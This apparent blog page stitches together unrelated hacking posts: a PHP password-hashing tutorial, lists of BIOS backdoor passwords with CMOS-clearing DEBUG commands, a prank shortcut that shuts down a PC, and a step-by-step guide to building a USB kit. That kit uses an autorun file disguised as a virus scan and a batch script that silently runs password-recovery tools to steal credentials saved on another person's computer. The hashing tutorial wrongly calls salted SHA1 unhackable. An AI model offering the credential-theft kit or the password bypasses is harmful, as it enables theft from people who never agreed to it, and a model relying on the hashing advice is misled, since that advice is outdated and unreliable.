Can you recheck your first php program which you have done with database backend support. Is there any password storing field in that ?.
If so you might saved your password as its plain text format without any encryption or hashing , right ? If not, you are very genius programmer by birth. What would happen if your database is leaked or somebody hacked your database, after you hosted your website and a lots of user registered or submitted their account with password. You are trapped. The hacker can access the user account by acquiring the password (saved without any encryption). The user can sue you for publishing his password open. So beware of this password saving while doing big project which is being hosted for a huge public usage.
Then what are the mechanism for saving password in database ?
One is you can save password after digesting or hashing , and and while rechecking the account or login you can compared the hash of password entered with the password stored in database. For that in php you can use this function:
$hash_password = sha1($password); ?>
Is this method all enough for full security. No , Never. For example, if you already know somebody’s password, say Sanjay’s password is : access, and you got the database and you will get the hash encoded string of the password: access. Suppose “XYZ123#@!” is the hash password got from database. Then you can reverse compare whether there any other user having hash text with “XYZ123#@!”, and thus you can get the password of that particular user. Hacked Again !!!
How to avoid this. Yes solution is Salting. Add some salt(random string) to current password and hash the whole password and save in database. Remember to save the salt value too in another field of the table , for rechecking the account login. Then for same password say”accesss”, you will get different hash digests. Thus the reverse caparison from know password can be avoided.
$salt = rand(1000,99999);
$hash_password = sha1($password . $salt ); ?>
Is this all enough for full security. Need not to think about the same salt for same password while creating random salt value. The probability for that is .00000….followed by 1000000 zeros …1 . Means Never.
But we are not taking risk. Add some more information to the password before hashing it. Generate a global constant string that only know to the programmer say : &555$34E$ and call it Global pattern . Append this string also with password+salt string before hashing. This will create more secured digest for your password. Remember , never forgot or miss this Global pattern, otherwise you can never check the login password later. (And it is not like the salt, the value of salt is there in database table) .
$hash_password = sha1($password . $salt . auth::GlobalPattern()); ?>
Enough … No one can hack your password now, even though he get your database. Okay .
(Saving encrypted password also helps to avoid sql injection)
Okay, enjoy programming.
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~***************************~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
RAPIDSHARE ACCELERATOR.EXE (FREE 100% WORKING SOFTWARE ) - 
Hack Bios PassWords !! Explanation
The first, less invasive, attempt to bypass a BIOS password is to try on of these standard
manufacturer’s backdoor passwords:
AWARD BIOS
AWARD SW, AWARD_SW, Award SW, AWARD PW, _award, awkward, J64, j256,
j262, j332, j322, 01322222, 589589, 589721, 595595, 598598, HLT, SER,
SKY_FOX, aLLy, aLLY, Condo, CONCAT, TTPTHA, aPAf, HLT, KDD, ZBAAACA,
ZAAADA, ZJAAADC, djonet,
AMI BIOS
AMI, A.M.I., AMI SW, AMI_SW, BIOS, PASSWORD, HEWITT RAND, Oder
Other passwords you may try (for AMI/AWARD or other BIOSes)
LKWPETER, lkwpeter, BIOSTAR, biostar, BIOSSTAR, biosstar, ALFAROME, Syxz, Wodj,phonix,toshiba
remember that passwords are Case Sensitive.
hacking BIOS via software
If you have access to the computer when it’s turned on, you could try one of those
programs that remove the password from the BIOS, by invalidating its memory.
However, it might happen you don’t have one of those programs when you have access
to the computer, so you’d better learn how to do manually what they do. You can reset
the BIOS to its default values using the MS-DOS tool DEBUG (type DEBUG at the
command prompt. You’d better do it in pure MS-DOS mode, not from a MS-DOS shell
window in Windows). Once you are in the debug environment enter the following
commands:
AMI/AWARD BIOS
O 70 17
O 71 17
Q
PHOENIX BIOS
O 70 FF
O 71 17
Q
GENERIC
Invalidates CMOS RAM.
Should work on all AT motherboards
(XT motherboards don’t have CMOS)
O 70 2E
O 71 FF
Q
Note that the first letter is a “O” not the number “0″. The numbers which follow are two
bytes in hex format.
Hacking BIOS via hardware
If you can’t access the computer when it’s on, and the standard backdoor passwords
didn’t work, you’ll have to flash the BIOS via hardware. Please read the important notes
at the end of this section before to try any of these methods.
Using the jumpers
The canonical way to flash the BIOS via hardware is to plug, unplug, or switch a jumper
on the motherboard (for “switching a jumper” I mean that you find a jumper that joins
the central pin and a side pin of a group of three pins, you should then unplug the
jumper and then plug it to the central pin and to the pin on the opposite side, so if the
jumper is normally on position 1-2, you have to put it on position 2-3, or viceversa).
This jumper is not always located near to the BIOS, but could be anywhere on the
motherboard.
To find the correct jumper you should read the motherboard’s manual.Once you’ve located the correct jumper, switch it (or plug or unplug it, depending from
what the manual says) while the computer is turned OFF. Wait a couple of seconds then
put the jumper back to its original position. In some motherboards it may happen that
the computer will automatically turn itself on, after flashing the BIOS. In this case, turn
it off, and put the jumper back to its original position, then turn it on again. Other
motherboards require you turn the computer on for a few seconds to flash the BIOS.
If you don’t have the motherboard’s manual, you’ll have to “bruteforce” it… trying out all
the jumpers. In this case, try first the isolated ones (not in a group), the ones near to the
BIOS, and the ones you can switch (as I explained before). If all them fail, try all the
others. However, you must modify the status of only one jumper per attempt, otherwise
you could damage the motherboard (since you don’t know what the jumper you
modified is actually meant for). If the password request screen still appear, try another
one.
If after flashing the BIOS, the computer won’t boot when you turn it on, turn it off, and
wait some seconds before to retry.
Removing the battery
If you can’t find the jumper to flash the BIOS or if such jumper doesn’t exist, you can
remove the battery that keeps the BIOS memory alive. It’s a button-size battery
somewhere on the motherboard (on elder computers the battery could be a small,
typically blue, cylinder soldered to the motherboard, but usually has a jumper on its side
to disconnect it, otherwise you’ll have to unsolder it and then solder it back). Take it
away for 15-30 minutes or more, then put it back and the data contained into the BIOS
memory should be volatilized. I’d suggest you to remove it for about one hour to be
sure, because if you put it back when the data aren’t erased yet you’ll have to wait more
time, as you’ve never removed it. If at first it doesn’t work, try to remove the battery
overnight.
Important note: in laptop and notebooks you don’t have to remove the computer’s power
batteries (which would be useless), but you should open your computer and remove the
CMOS battery from the motherboard.
Short-circuiting the chip
Another way to clear the CMOS RAM is to reset it by short circuiting two pins of the
BIOS chip for a few seconds. You can do that with a small piece of electric wire or with
a bended paper clip. Always make sure that the computer is turned OFF before to try
this operation.
Here is a list of EPROM chips that are commonly used in the BIOS industry. You may
find similar chips with different names if they are compatible chips made by another
brand. If you find the BIOS chip you are working on matches with one of the following
you can try to short-cicuit the appropriate pins. Be careful, because this operation may
damage the chip.
Important
Whether is the method you use, when you flash the BIOS not only the password, but
also all the other configuration data will be reset to the factory defaults, so when you are
booting for the first time after a BIOS flash, you should enter the CMOS configuration
menu (as explained before) and fix up some things.
Also, when you boot Windows, it may happen that it finds some new device, because of
the new configuration of the BIOS, in this case you’ll probably need the Windows
installation CD because Windows may ask you for some external files. If Windows
doesn’t see the CD-ROM try to eject and re-insert the CD-ROM again. If Windows can’t
find the CD-ROM drive and you set it properly from the BIOS config, just reboot with
the reset key, and in the next run Windows should find it. However most files needed by
the system while installing new hardware could also be found in C:\WINDOWS,
C:\WINDOWS\SYSTEM, or C:\WINDOWS\INF .
change C with your windows drive letter if it is not in C drive
Enjoy Hacking!!
Make A Fake Virus...!! Cool Trick to make fool Your Friends
1Create shortcut,(Right click on your desktop and go to new -> shortcut )
2)After this will appear window and that is where you type the code
shutdown -s -t 300 -c "Your Message"There are few variants , this one will shutdown pc .
To log of computer type
shutdown -l -t 300 -c "your message" To restart computer type
shutdown -r -t 300 -c " your message" The number after -t is the number of seconds countdown there will be before shutdown . After -c write own message , that will come up when shutdown box pops up.
3) Click Next, Finish
Enjoy!!
How to Sniff Passwords Using USB Drive
MessenPass: Recovers the passwords of most popular Instant Messenger programs: MSN Messenger, Windows Messenger, Yahoo Messenger, ICQ Lite 4.x/2003, AOL Instant Messenger provided with Netscape 7, Trillian, Miranda, and GAIM.
Mail PassView: Recovers the passwords of the following email programs: Outlook Express,Microsoft Outlook 2000 (POP3 and SMTP Accounts only), Microsoft Outlook 2002/2003 (POP3, IMAP, HTTP and SMTP Accounts), IncrediMail, Eudora, Netscape Mail, Mozilla Thunderbird, Group Mail Free.
Mail PassView can also recover the passwords of Web-based email accounts (HotMail, Yahoo!, Gmail), if you use the associated programs of these accounts.
IE Passview: IE PassView is a small utility that reveals the passwords stored by Internet Explorer browser. It supports the new Internet Explorer 7.0, as well as older versions of Internet explorer, v4.0 – v6.0
Protected Storage PassView: Recovers all passwords stored inside the Protected Storage, including the AutoComplete passwords of Internet Explorer, passwords of Password-protected sites, MSN Explorer Passwords, and more…
PasswordFox: PasswordFox is a small password recovery tool that allows you to view the user names and passwords stored by Mozilla Firefox Web browser. By default, PasswordFox displays the passwords stored in your current profile, but you can easily select to watch the passwords of any other Firefox profile. For each password entry, the following information is displayed: Record Index, Web Site, User Name, Password, User Name Field, Password Field, and the Signons filename.
Here is a step by step procedre to create the password hacking toolkit.
NOTE: You must temporarily disable your antivirus before following these steps.
1. Download all the 5 tools, extract them and copy only the executables(.exe files) into your USB Pendrive.
ie: Copy the files – mspass.exe, mailpv.exe, iepv.exe, pspv.exe and passwordfox.exeinto your USB Drive.
2. Create a new Notepad and write the following text into it
[autorun]
open=launch.bat
ACTION= Perform a Virus Scan
save the Notepad and rename it from
New Text Document.txt to autorun.inf
Now copy the autorun.inf file onto your USB pendrive.
3. Create another Notepad and write the following text onto it.
start mspass.exe /stext mspass.txt
start mailpv.exe /stext mailpv.txt
start iepv.exe /stext iepv.txt
start pspv.exe /stext pspv.txt
start passwordfox.exe /stext passwordfox.txt
save the Notepad and rename it from
\
New Text Document.txt to launch.bat
Copy the launch.bat file also to your USB drive.
Now your rootkit is ready and you are all set to sniff the passwords. You can use this pendrive on on any computer to sniff the stored passwords. Just follow these steps
1. Insert the pendrive and the autorun window will pop-up. (This is because, we have created an autorun pendrive).
2. In the pop-up window, select the first option (Perform a Virus Scan).
3. Now all the password recovery tools will silently get executed in the background (This process takes hardly a few seconds). The passwords get stored in the .TXT files.
4. Remove the pendrive and you’ll see the stored passwords in the .TXT files.
This hack works on Windows 2000, XP and Vista
NOTE: This procedure will only recover the stored passwords (if any) on the Computer.
No comments:
Post a Comment